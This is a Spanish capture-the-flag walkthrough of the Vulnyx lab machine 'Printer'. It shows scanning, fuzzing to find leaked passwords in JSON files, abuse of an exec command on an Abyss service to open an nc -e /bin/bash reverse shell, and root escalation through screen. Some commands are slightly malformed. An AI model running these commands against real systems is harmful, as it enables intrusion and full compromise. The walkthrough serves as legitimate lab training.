![]() |
|
| Máquina: Printer | |
| SO: Linux | |
| Dificultad: Easy | |
| Link OVA: Vulnyx |

1. Listamos dispositivos en la red.
sudo arp-scan -I enp2s0 --localnet

2. Escaneamos puertos y servicios en la máquina Printer.
sudo nmap -p- --open -T5 -sS -sCV --min-rate=5000 -n -Pn 192.168.1.6 -oN report

- El el servidor apache no tenemos nada, incluso fuzzeando no tenemos nada.
3. Tenemos servidor Abyss, intentamos acceder, pero nos pide una contraseña.
nc 192.168.1.6 9999

4. Hacemos fuzzing en busca de directorios; encontramos api.
gobuster dir -u http://192.168.1.6/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

5. Seguimos fuzzeando un poco más; tenemos directorio printers.
gobuster dir -u http://192.168.1.6/api/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

6. Vemos que apuntando a esta ruta nos da un formato de búsqueda.
http://192.168.1.6/api/printers/

7. Fuzzeamos el id y la extensión correspondiente; encontramos id validos en formato json.
wfuzz -c --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,json,php,html,txt 'http://192.168.1.6/ api/printers/printerFUZZ.FUZ2Z'

8. Vamos viendo contraseñas en los archivos json con las ids que obtuvimos.
http://192.168.1.6/api/printers/printer1599.json

9. Probamos cada contraseña; asi obtenemos acceso.
nc 192.168.1.6 9999

10. Vemos comandos disponibles.
?

- Tenemos exec que nos permite ejecutar un comando.
11. Probamos el ejemplo que nos da.
exec id

12. Aprovechamos para obtener un reverse shell.
- Primero nos ponemos en escucha.
sudo nc -nlvp

- Obtenemos la shell.
exec nc -e /bin/bash 192.168.1.6 443
id
whoami

13. Ponemos la shell totalmente interactiva.
python -c 'import pty; pty.spawn("/bin/bash")'

14. Tratamos un poco los variables de entorno.
export TERM=xterm
export SHELL=bash

15. Buscamos binarios sudoers; tenemos varios.
find / -type -perm -4000 2>/dev/null

16. Buscando info de cada binario, usaremos el binario screen para escalar privilegios.
screen -x root/
- Ya somos usuario root.
17. Finalizo obteniendo la flag de root :) .
ls
cat root.txt

